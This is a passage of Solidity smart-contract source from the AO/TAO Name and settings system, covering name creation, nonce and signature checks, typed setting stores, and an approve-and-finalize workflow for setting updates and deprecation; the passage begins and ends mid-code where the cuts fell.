(AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if calling address can update Name's nonce */ modifier canUpdateNonce { require (msg.sender == nameTAOPositionAddress || msg.sender == namePublicKeyAddress); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the NameTAOLookup Address * @param _nameTAOLookupAddress The address of NameTAOLookup */ function setNameTAOLookupAddress(address _nameTAOLookupAddress) public onlyTheAO { require (_nameTAOLookupAddress != address(0)); nameTAOLookupAddress = _nameTAOLookupAddress; _nameTAOLookup = NameTAOLookup(nameTAOLookupAddress); } /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; _nameTAOPosition = NameTAOPosition(nameTAOPositionAddress); } /** * @dev The AO set the NamePublicKey Address * @param _namePublicKeyAddress The address of NamePublicKey */ function setNamePublicKeyAddress(address _namePublicKeyAddress) public onlyTheAO { require (_namePublicKeyAddress != address(0)); namePublicKeyAddress = _namePublicKeyAddress; _namePublicKey = NamePublicKey(namePublicKeyAddress); } /***** PUBLIC METHODS *****/ /** * @dev Increment the nonce of a Name * @param _nameId The ID of the Name * @return current nonce */ function incrementNonce(address _nameId) public canUpdateNonce returns (uint256) { // Check if _nameId exist require (nonces[_nameId] > 0); nonces[_nameId]++; return nonces[_nameId]; } /** * @dev Create a Name * @param _name The name of the Name * @param _datHash The datHash to this Name's profile * @param _database The database for this Name * @param _keyValue The key/value pair to be checked on the database * @param _contentId The contentId related to this Name */ function createName(string _name, string _datHash, string _database, string _keyValue, bytes32 _contentId) public { require (bytes(_name).length > 0); require (!_nameTAOLookup.isExist(_name)); // Only one Name per ETH address require (ethAddressToNameId[msg.sender] == address(0)); // The address is the Name ID (which is also a TAO ID) address nameId = new Name(_name, msg.sender, _datHash, _database, _keyValue, _contentId, nameTAOVaultAddress); // Increment the nonce nonces[nameId]++; ethAddressToNameId[msg.sender] = nameId; // Store the name lookup information require (_nameTAOLookup.add(_name, nameId, 'human', 1)); // Store the Advocate/Listener/Speaker information require (_nameTAOPosition.add(nameId, nameId, nameId, nameId)); // Store the public key information require (_namePublicKey.add(nameId, msg.sender)); names.push(nameId); // Need to mint Position token for this Name require (_position.mintToken(nameId)); emit CreateName(msg.sender, nameId, names.length.sub(1), _name); } /** * @dev Get Name information * @param _nameId The ID of the Name to be queried * @return The name of the Name * @return The originId of the Name (in this case, it's the creator node's ETH address) * @return The datHash of the Name * @return The database of the Name * @return The keyValue of the Name * @return The contentId of the Name * @return The typeId of the Name */ function getName(address _nameId) public view returns (string, address, string, string, string, bytes32, uint8) { Name _name = Name(_nameId); return ( _name.name(), _name.originId(), _name.datHash(), _name.database(), _name.keyValue(), _name.contentId(), _name.typeId() ); } /** * @dev Get total Names count * @return total Names count */ function getTotalNamesCount() public view returns (uint256) { return names.length; } /** * @dev Get list of Name IDs * @param _from The starting index * @param _to The ending index * @return list of Name IDs */ function getNameIds(uint256 _from, uint256 _to) public view returns (address[]) { require (_from >= 0 && _to >= _from); require (names.length > 0); address[] memory _names = new address[](_to.sub(_from).add(1)); if (_to > names.length.sub(1)) { _to = names.length.sub(1); } for (uint256 i = _from; i <= _to; i++) { _names[i.sub(_from)] = names[i]; } return _names; } /** * @dev Check whether or not the signature is valid * @param _data The signed string data * @param _nonce The signed uint256 nonce (should be Name's current nonce + 1) * @param _validateAddress The ETH address to be validated (optional) * @param _name The name of the Name * @param _signatureV The V part of the signature * @param _signatureR The R part of the signature * @param _signatureS The S part of the signature * @return true if valid. false otherwise */ function validateNameSignature( string _data, uint256 _nonce, address _validateAddress, string _name, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS ) public view returns (bool) { require (_nameTAOLookup.isExist(_name)); address _nameId = _nameTAOLookup.getAddressByName(_name); address _signatureAddress = AOLibrary.getValidateSignatureAddress(address(this), _data, _nonce, _signatureV, _signatureR, _signatureS); if (_validateAddress != address(0)) { return ( _nonce == nonces[_nameId].add(1) && _signatureAddress == _validateAddress && _namePublicKey.isKeyExist(_nameId, _validateAddress) ); } else { return ( _nonce == nonces[_nameId].add(1) && _signatureAddress == _namePublicKey.getDefaultKey(_nameId) ); } } } /** * @title AOStringSetting * * This contract stores all AO string setting variables */ contract AOStringSetting is TheAO { // Mapping from settingId to it's actual string value mapping (uint256 => string) public settingValue; // Mapping from settingId to it's potential string value that is at pending state mapping (uint256 => string) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The string value to be set */ function setPendingValue(uint256 _settingId, string _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { string memory _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOBytesSetting * * This contract stores all AO bytes32 setting variables */ contract AOBytesSetting is TheAO { // Mapping from settingId to it's actual bytes32 value mapping (uint256 => bytes32) public settingValue; // Mapping from settingId to it's potential bytes32 value that is at pending state mapping (uint256 => bytes32) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The bytes32 value to be set */ function setPendingValue(uint256 _settingId, bytes32 _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { bytes32 _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOAddressSetting * * This contract stores all AO address setting variables */ contract AOAddressSetting is TheAO { // Mapping from settingId to it's actual address value mapping (uint256 => address) public settingValue; // Mapping from settingId to it's potential address value that is at pending state mapping (uint256 => address) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The address value to be set */ function setPendingValue(uint256 _settingId, address _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { address _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOBoolSetting * * This contract stores all AO bool setting variables */ contract AOBoolSetting is TheAO { // Mapping from settingId to it's actual bool value mapping (uint256 => bool) public settingValue; // Mapping from settingId to it's potential bool value that is at pending state mapping (uint256 => bool) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The bool value to be set */ function setPendingValue(uint256 _settingId, bool _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { bool _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOUintSetting * * This contract stores all AO uint256 setting variables */ contract AOUintSetting is TheAO { // Mapping from settingId to it's actual uint256 value mapping (uint256 => uint256) public settingValue; // Mapping from settingId to it's potential uint256 value that is at pending state mapping (uint256 => uint256) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The uint256 value to be set */ function setPendingValue(uint256 _settingId, uint256 _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { uint256 _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOSettingAttribute * * This contract stores all AO setting data/state */ contract AOSettingAttribute is TheAO { NameTAOPosition internal _nameTAOPosition; struct SettingData { uint256 settingId; // Identifier of this setting address creatorNameId; // The nameId that created the setting address creatorTAOId; // The taoId that created the setting address associatedTAOId; // The taoId that the setting affects string settingName; // The human-readable name of the setting /** * 1 => uint256 * 2 => bool * 3 => address * 4 => bytes32 * 5 => string (catch all) */ uint8 settingType; bool pendingCreate; // State when associatedTAOId has not accepted setting bool locked; // State when pending anything (cannot change if locked) bool rejected; // State when associatedTAOId rejected this setting string settingDataJSON; // Catch-all } struct SettingState { uint256 settingId; // Identifier of this setting bool pendingUpdate; // State when setting is in process of being updated address updateAdvocateNameId; // The nameId of the Advocate that performed the update /** * A child of the associatedTAOId with the update Logos. * This tells the setting contract that there is a proposal TAO that is a Child TAO * of the associated TAO, which will be responsible for deciding if the update to the * setting is accepted or rejected. */ address proposalTAOId; /** * Signature of the proposalTAOId and update value by the associatedTAOId * Advocate's Name's address. */ string updateSignature; /** * The proposalTAOId moves here when setting value changes successfully */ address lastUpdateTAOId; string settingStateJSON; // Catch-all } struct SettingDeprecation { uint256 settingId; // Identifier of this setting address creatorNameId; // The nameId that created this deprecation address creatorTAOId; // The taoId that created this deprecation address associatedTAOId; // The taoId that the setting affects bool pendingDeprecated; // State when associatedTAOId has not accepted setting bool locked; // State when pending anything (cannot change if locked) bool rejected; // State when associatedTAOId rejected this setting bool migrated; // State when this setting is fully migrated // holds the pending new settingId value when a deprecation is set uint256 pendingNewSettingId; // holds the new settingId that has been approved by associatedTAOId uint256 newSettingId; // holds the pending new contract address for this setting address pendingNewSettingContractAddress; // holds the new contract address for this setting address newSettingContractAddress; } struct AssociatedTAOSetting { bytes32 associatedTAOSettingId; // Identifier address associatedTAOId; // The TAO ID that the setting is associated to uint256 settingId; // The Setting ID that is associated with the TAO ID } struct CreatorTAOSetting { bytes32 creatorTAOSettingId; // Identifier address creatorTAOId; // The TAO ID that the setting was created from uint256 settingId; // The Setting ID created from the TAO ID } struct AssociatedTAOSettingDeprecation { bytes32 associatedTAOSettingDeprecationId; // Identifier address associatedTAOId; // The TAO ID that the setting is associated to uint256 settingId; // The Setting ID that is associated with the TAO ID } struct CreatorTAOSettingDeprecation { bytes32 creatorTAOSettingDeprecationId; // Identifier address creatorTAOId; // The TAO ID that the setting was created from uint256 settingId; // The Setting ID created from the TAO ID } // Mapping from settingId to it's data mapping (uint256 => SettingData) internal settingDatas; // Mapping from settingId to it's state mapping (uint256 => SettingState) internal settingStates; // Mapping from settingId to it's deprecation info mapping (uint256 => SettingDeprecation) internal settingDeprecations; // Mapping from associatedTAOSettingId to AssociatedTAOSetting mapping (bytes32 => AssociatedTAOSetting) internal associatedTAOSettings; // Mapping from creatorTAOSettingId to CreatorTAOSetting mapping (bytes32 => CreatorTAOSetting) internal creatorTAOSettings; // Mapping from associatedTAOSettingDeprecationId to AssociatedTAOSettingDeprecation mapping (bytes32 => AssociatedTAOSettingDeprecation) internal associatedTAOSettingDeprecations; // Mapping from creatorTAOSettingDeprecationId to CreatorTAOSettingDeprecation mapping (bytes32 => CreatorTAOSettingDeprecation) internal creatorTAOSettingDeprecations; /** * @dev Constructor function */ constructor(address _nameTAOPositionAddress) public { nameTAOPositionAddress = _nameTAOPositionAddress; _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev Add setting data/state * @param _settingId The ID of the setting * @param _creatorNameId The nameId that created the setting * @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string * @param _settingName The human-readable name of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist * @return The ID of the "Associated" setting * @return The ID of the "Creator" setting */ function add(uint256 _settingId, address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) public inWhitelist returns (bytes32, bytes32) { // Store setting data/state require (_storeSettingDataState(_settingId, _creatorNameId, _settingType, _settingName, _creatorTAOId, _associatedTAOId, _extraData)); // Store the associatedTAOSetting info bytes32 _associatedTAOSettingId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId)); AssociatedTAOSetting storage _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId]; _associatedTAOSetting.associatedTAOSettingId = _associatedTAOSettingId; _associatedTAOSetting.associatedTAOId = _associatedTAOId; _associatedTAOSetting.settingId = _settingId; // Store the creatorTAOSetting info bytes32 _creatorTAOSettingId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId)); CreatorTAOSetting storage _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId]; _creatorTAOSetting.creatorTAOSettingId = _creatorTAOSettingId; _creatorTAOSetting.creatorTAOId = _creatorTAOId; _creatorTAOSetting.settingId = _settingId; return (_associatedTAOSettingId, _creatorTAOSettingId); } /** * @dev Get Setting Data of a setting ID * @param _settingId The ID of the setting */ function getSettingData(uint256 _settingId) public view returns (uint256, address, address, address, string, uint8, bool, bool, bool, string) { SettingData memory _settingData = settingDatas[_settingId]; return ( _settingData.settingId, _settingData.creatorNameId, _settingData.creatorTAOId, _settingData.associatedTAOId, _settingData.settingName, _settingData.settingType, _settingData.pendingCreate, _settingData.locked, _settingData.rejected, _settingData.settingDataJSON ); } /** * @dev Get Associated TAO Setting info * @param _associatedTAOSettingId The ID of the associated tao setting */ function getAssociatedTAOSetting(bytes32 _associatedTAOSettingId) public view returns (bytes32, address, uint256) { AssociatedTAOSetting memory _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId]; return ( _associatedTAOSetting.associatedTAOSettingId, _associatedTAOSetting.associatedTAOId, _associatedTAOSetting.settingId ); } /** * @dev Get Creator TAO Setting info * @param _creatorTAOSettingId The ID of the creator tao setting */ function getCreatorTAOSetting(bytes32 _creatorTAOSettingId) public view returns (bytes32, address, uint256) { CreatorTAOSetting memory _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId]; return ( _creatorTAOSetting.creatorTAOSettingId, _creatorTAOSetting.creatorTAOId, _creatorTAOSetting.settingId ); } /** * @dev Advocate of Setting's _associatedTAOId approves setting creation * @param _settingId The ID of the setting to approve * @param _associatedTAOAdvocate The advocate of the associated TAO * @param _approved Whether to approve or reject * @return true on success */ function approveAdd(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) public inWhitelist returns (bool) { // Make sure setting exists and needs approval SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == true && _settingData.locked == true && _settingData.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) ); if (_approved) { // Unlock the setting so that advocate of creatorTAOId can finalize the creation _settingData.locked = false; } else { // Reject the setting _settingData.pendingCreate = false; _settingData.rejected = true; } return true; } /** * @dev Advocate of Setting's _creatorTAOId finalizes the setting creation once the setting is approved * @param _settingId The ID of the setting to be finalized * @param _creatorTAOAdvocate The advocate of the creator TAO * @return true on success */ function finalizeAdd(uint256 _settingId, address _creatorTAOAdvocate) public inWhitelist returns (bool) { // Make sure setting exists and needs approval SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == true && _settingData.locked == false && _settingData.rejected == false && _creatorTAOAdvocate != address(0) && _creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.creatorTAOId) ); // Update the setting data _settingData.pendingCreate = false; _settingData.locked = true; return true; } /** * @dev Store setting update data * @param _settingId The ID of the setting to be updated * @param _settingType The type of this setting * @param _associatedTAOAdvocate The setting's associatedTAOId's advocate's name address * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by _associatedTAOAdvocate * @param _extraData Catch-all string value to be stored if exist * @return true on success */ function update(uint256 _settingId, uint8 _settingType, address _associatedTAOAdvocate, address _proposalTAOId, string _updateSignature, string _extraData) public inWhitelist returns (bool) { // Make sure setting is created SettingData memory _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.settingType == _settingType && _settingData.pendingCreate == false && _settingData.locked == true && _settingData.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) && bytes(_updateSignature).length > 0 ); // Make sure setting is not in the middle of updating SettingState storage _settingState = settingStates[_settingId]; require (_settingState.pendingUpdate == false); // Make sure setting is not yet deprecated SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId]; if (_settingDeprecation.settingId == _settingId) { require (_settingDeprecation.migrated == false); } // Store the SettingState data _settingState.pendingUpdate = true; _settingState.updateAdvocateNameId = _associatedTAOAdvocate; _settingState.proposalTAOId = _proposalTAOId; _settingState.updateSignature = _updateSignature; _settingState.settingStateJSON = _extraData; return true; } /** * @dev Get setting state * @param _settingId The ID of the setting */ function getSettingState(uint256 _settingId) public view returns (uint256, bool, address, address, string, address, string) { SettingState memory _settingState = settingStates[_settingId]; return ( _settingState.settingId, _settingState.pendingUpdate, _settingState.updateAdvocateNameId, _settingState.proposalTAOId, _settingState.updateSignature, _settingState.lastUpdateTAOId, _settingState.settingStateJSON ); } /** * @dev Advocate of Setting's proposalTAOId approves the setting update * @param _settingId The ID of the setting to be approved * @param _proposalTAOAdvocate The advocate of the proposal TAO * @param _approved Whether to approve or reject * @return true on success */ function approveUpdate(uint256 _settingId, address _proposalTAOAdvocate, bool _approved) public inWhitelist returns (bool) { // Make sure setting is created SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == false && _settingData.locked == true && _settingData.rejected == false); // Make sure setting update exists and needs approval SettingState storage _settingState = settingStates[_settingId]; require (_settingState.settingId == _settingId && _settingState.pendingUpdate == true && _proposalTAOAdvocate != address(0) && _proposalTAOAdvocate == _nameTAOPosition.getAdvocate(_settingState.proposalTAOId) ); if (_approved) { // Unlock the setting so that advocate of associatedTAOId can finalize the update _settingData.locked = false; } else { // Set pendingUpdate to false _settingState.pendingUpdate = false; _settingState.proposalTAOId = address(0); } return true; } /** * @dev Advocate of Setting's _associatedTAOId finalizes the setting update once the setting is approved * @param _settingId The ID of the setting to be finalized * @param _associatedTAOAdvocate The advocate of the associated TAO * @return true on success */ function finalizeUpdate(uint256 _settingId, address _associatedTAOAdvocate) public inWhitelist returns (bool) { // Make sure setting is created SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == false && _settingData.locked == false && _settingData.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) ); // Make sure setting update exists and needs approval SettingState storage _settingState = settingStates[_settingId]; require (_settingState.settingId == _settingId && _settingState.pendingUpdate == true && _settingState.proposalTAOId != address(0)); // Update the setting data _settingData.locked = true; // Update the setting state _settingState.pendingUpdate = false; _settingState.updateAdvocateNameId = _associatedTAOAdvocate; address _proposalTAOId = _settingState.proposalTAOId; _settingState.proposalTAOId = address(0); _settingState.lastUpdateTAOId = _proposalTAOId; return true; } /** * @dev Add setting deprecation * @param _settingId The ID of the setting * @param _creatorNameId The nameId that created the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _newSettingId The new settingId value to route * @param _newSettingContractAddress The address of the new setting contract to route * @return The ID of the "Associated" setting deprecation * @return The ID of the "Creator" setting deprecation */ function addDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) public inWhitelist returns (bytes32, bytes32) { require (_storeSettingDeprecation(_settingId, _creatorNameId, _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress)); // Store the associatedTAOSettingDeprecation info bytes32 _associatedTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId)); AssociatedTAOSettingDeprecation storage _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId]; _associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId = _associatedTAOSettingDeprecationId; _associatedTAOSettingDeprecation.associatedTAOId = _associatedTAOId; _associatedTAOSettingDeprecation.settingId = _settingId; // Store the creatorTAOSettingDeprecation info bytes32 _creatorTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId)); CreatorTAOSettingDeprecation storage _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId]; _creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId = _creatorTAOSettingDeprecationId; _creatorTAOSettingDeprecation.creatorTAOId = _creatorTAOId; _creatorTAOSettingDeprecation.settingId = _settingId; return (_associatedTAOSettingDeprecationId, _creatorTAOSettingDeprecationId); } /** * @dev Get Setting Deprecation info of a setting ID * @param _settingId The ID of the setting */ function getSettingDeprecation(uint256 _settingId) public view returns (uint256, address, address, address, bool, bool, bool, bool, uint256, uint256, address, address) { SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId]; return ( _settingDeprecation.settingId, _settingDeprecation.creatorNameId, _settingDeprecation.creatorTAOId, _settingDeprecation.associatedTAOId, _settingDeprecation.pendingDeprecated, _settingDeprecation.locked, _settingDeprecation.rejected, _settingDeprecation.migrated, _settingDeprecation.pendingNewSettingId, _settingDeprecation.newSettingId, _settingDeprecation.pendingNewSettingContractAddress, _settingDeprecation.newSettingContractAddress ); } /** * @dev Get Associated TAO Setting Deprecation info * @param _associatedTAOSettingDeprecationId The ID of the associated tao setting deprecation */ function getAssociatedTAOSettingDeprecation(bytes32 _associatedTAOSettingDeprecationId) public view returns (bytes32, address, uint256) { AssociatedTAOSettingDeprecation memory _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId]; return ( _associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId, _associatedTAOSettingDeprecation.associatedTAOId, _associatedTAOSettingDeprecation.settingId ); } /** * @dev Get Creator TAO Setting Deprecation info * @param _creatorTAOSettingDeprecationId The ID of the creator tao setting deprecation */ function getCreatorTAOSettingDeprecation(bytes32 _creatorTAOSettingDeprecationId) public view returns (bytes32, address, uint256) { CreatorTAOSettingDeprecation memory _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId]; return ( _creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId, _creatorTAOSettingDeprecation.creatorTAOId, _creatorTAOSettingDeprecation.settingId ); } /** * @dev Advocate of SettingDeprecation's _associatedTAOId approves deprecation * @param _settingId The ID of the setting to approve * @param _associatedTAOAdvocate The advocate of the associated TAO * @param _approved Whether to approve or reject * @return true on success */ function approveDeprecation(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) public inWhitelist returns (bool) { // Make sure setting exists and needs approval SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId]; require (_settingDeprecation.settingId == _settingId && _settingDeprecation.migrated == false && _settingDeprecation.pendingDeprecated == true && _settingDeprecation.locked == true && _settingDeprecation.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.associatedTAOId) ); if (_approved) { // Unlock the setting so that advocate of creatorTAOId can finalize the creation _settingDeprecation.locked = false; } else { // Reject the setting _settingDeprecation.pendingDeprecated = false; _settingDeprecation.rejected = true; } return true; } /** * @dev Advocate of SettingDeprecation's _creatorTAOId finalizes the deprecation once the setting deprecation is approved * @param _settingId The ID of the setting to be finalized * @param _creatorTAOAdvocate The advocate of the creator TAO * @return true on success */ function finalizeDeprecation(uint256 _settingId, address _creatorTAOAdvocate) public inWhitelist returns (bool) { // Make sure setting exists and needs approval SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId]; require (_settingDeprecation.settingId == _settingId && _settingDeprecation.migrated == false && _settingDeprecation.pendingDeprecated == true && _settingDeprecation.locked == false && _settingDeprecation.rejected == false && _creatorTAOAdvocate != address(0) && _creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.creatorTAOId) ); // Update the setting data _settingDeprecation.pendingDeprecated = false; _settingDeprecation.locked = true; _settingDeprecation.migrated = true; uint256 _newSettingId = _settingDeprecation.pendingNewSettingId; _settingDeprecation.pendingNewSettingId = 0; _settingDeprecation.newSettingId = _newSettingId; address 